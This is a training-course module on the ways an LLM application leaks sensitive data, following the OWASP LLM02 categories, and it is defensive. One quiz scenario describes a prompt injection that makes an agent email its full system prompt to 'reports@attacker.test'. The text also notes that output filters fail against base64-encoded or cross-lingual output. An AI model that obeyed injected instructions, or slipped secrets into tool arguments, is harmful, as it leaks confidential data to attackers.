Disclosure channels
The full list, including tool arguments, reasoning traces, timing and cache hits.
The last model-layer module, and the one that tends to change how people audit their own systems. Output filtering usually gets pointed at the response body. Tool arguments, the reasoning trace and the timing usually get missed. OWASP is explicit that all of those are outputs subject to the same rules.
The channel list
The channel is not only the final answer: tool-call arguments, reasoning traces, retrieved chunks, multimodal output, logs, telemetry, embeddings, and observable inference properties (timing, token length, log-probabilities, confidence, cache-hit behavior) are all disclosure surfaces. Treat each as an output subject to the same classification and redaction rules.
Read that list against a system you can inspect and count how many are redacted. The count is the finding.
| Channel | How it leaks | Covered by a typical output filter? |
|---|---|---|
| Response body | The obvious one. | Yes |
| Tool-call arguments | A secret placed into a parameter of a legitimate outbound tool. | No |
| Reasoning traces | The model reasons over sensitive context and the trace is returned or logged. | No |
| Retrieved chunks | Surfaced to the user or logged for debugging, including chunks the user could not otherwise access. | Rarely |
| Logs and telemetry | Full prompts written to observability platforms with different access controls. | No |
| Embeddings | Inversion recovers substantial source text. See module 4.6. | No |
| Timing | Response latency correlates with whether a document was retrieved. Conditional on the implementation: it leaks when the fast path and the slow path differ observably. | No |
| Token length | Output length alone can distinguish outcomes, observable under TLS without decrypting anything. | No |
| Log-probs / confidence | Reveal what the model nearly said. | No |
| Cache-hit behaviour | A fast response reveals the question has been asked before. Only tells the attacker about other people when the cache is shared across users or tenants. | No |
OWASP names the exact mental error:
Treat reasoning traces and tool arguments as outputs, not debugging leftovers.
Four lifecycle phases
Disclosure does not only happen at inference. OWASP splits it across the lifecycle, and each phase has a different owner.
| Phase | What leaks |
|---|---|
| Training-time | Memorised corpus content, reproduced verbatim or recoverably. Scales log-linearly with capacity, duplication and context length. |
| Inference-time | Live context: system prompt, RAG chunks, files, tool outputs, memory, or another session's data. |
| Pipeline-time | Fine-tuning, distillation, synthetic-data generation, gradients, SDKs and observability move sensitive data into derived artifacts. The log store is here. |
| Observation-time | Adversaries infer facts from externally measurable properties (token length under TLS, latency, log-probabilities, confidence, cache-hit signals) without receiving content at all. |
Read the fourth phase twice, for its last four words: “without receiving content.” An observation-time adversary never gets an answer out of the system. They learn from how it behaved. No output filter, redactor or classifier operates on that channel, because nothing was emitted for them to inspect.
Two details in the training-time row deserve pulling out. Narrow LoRA adapters memorise rare examples with high fidelity, which OWASP calls “a targeted extraction surface distinct from the base model.” If you fine-tuned on a small, sensitive dataset, that adapter is a higher-risk artifact than the foundation model it sits on.
And on inference-time leakage, it happens “often because summarization, translation, or extraction surfaces more than was asked, including visually-redacted spans.” Notice that last clause. A black box drawn over a PDF is a rendering instruction rather than a deletion. The text underneath is still in the document, and the model reads documents, not renderings.
Ten scenarios
Each of these leaked. The question is only through what. If you find yourself picking “response body” by reflex, that is the habit this module is trying to break.
Which channel leaked?
1/10An injected instruction makes the agent call sendEmail(to: "reports@attacker.test", subject: <the full system prompt>). The output filter passes the turn: the visible reply is just "Done, I've sent that for you."
Deep diveReal incidents behind these channels3 min›
OWASP cites concrete cases in its inference-time discussion:
- The March 2023 ChatGPT Redis bug exposed payment PII for 1.2% of Plus subscribers. A cross-session leak through infrastructure rather than through the model.
- More than 4,500 shared conversations were indexed by Google in 2025 through missing
noindexdirectives. The channel was a sharing feature plus a missing HTTP header. - Clinical-embedding vector stores sit in HIPAA audit-control scope that, per OWASP, most teams have not operationalised, and retrieval-layer authorization is “widely under-implemented.”
- The trace channel also enables reasoning-trace-coercion model extraction, connecting this module back to 2.7.
Note the pattern. Only one of those is a model-behaviour problem. The rest are ordinary application and infrastructure failures in AI plumbing, which is the recurring finding of Track 08's incident work and the reason this course insists AppSec fundamentals are not optional.
Why filters do not save you
OWASP notes that “regex and blocklist filters fall to cross-lingual, base64, and hex encodings,” the same mismatched-generalization problem as module 2.4, now on the way out instead of the way in. An output filter searching for a credential pattern will not match that credential base64'd.
For each channel in OWASP's list, answer:
1. Does sensitive data reach it? (usually: yes, several)
2. Is classification/redaction applied? (usually: only the body)
3. Who can read it? (logs often = whole eng org)
The gap between answers 1 and 2 is your finding.What actually closes each channel
The channel list is the famous part of LLM02. The tiered mitigations are the useful part, and they name specific controls for the exotic channels nothing else in the course covers.
| Channel | OWASP's control |
|---|---|
| Reasoning traces | "Classify and redact reasoning traces as first-class output. Never log raw traces to unrestricted observability." (Tier 2 #4) |
| Log-probs / confidence | "Gate log-probabilities, confidence, and explanations on production endpoints." (Tier 2 #3) You remove the channel rather than sanitising it. |
| Timing, length, cache hits | "Random padding and token batching for streaming, segregation of high-sensitivity tenants on dedicated prefix caches, and partitioned KV caches under co-tenancy." (Tier 2 #5) |
| Retrieved chunks | "Authorize before retrieval: enforce document- and chunk-level authorization inside the index query, not at the application layer after retrieval." (Tier 1 #3) |
| Embeddings | Encryption, "ACLs separate from document ACLs," restricted export APIs, minimum-scope k-NN, embedding-space probing detection. (Tier 2 #2) |
| Logs / telemetry | "Restrict and scrub logs and traces before APM ingestion." (Tier 1 #7) Plus "AI-aware audit logging into SIEM" so the security-useful signal survives. (Tier 2 #7) |
| Aggregation | "A documented domain inventory with an enforced join policy so individually-permitted sources cannot combine into prohibited conclusions." (Tier 2 #7) |
| Output filters generally | "Sanitize with classifiers, not regex alone: pattern matching plus NER plus trained classifiers, because regex fails on encoded and cross-lingual output." (Tier 1 #5) |
Three are worth flagging as unusual. Gating log-probabilities is an API surface decision rather than a filtering one. Padding and batching come straight from classical side-channel defence, a reminder that observation-time attacks are an old discipline in new clothes. And the enforced join policy is the only control here operating on combinations of authorised data, which is what aggregation requires, since no per-item check can see it.
Sources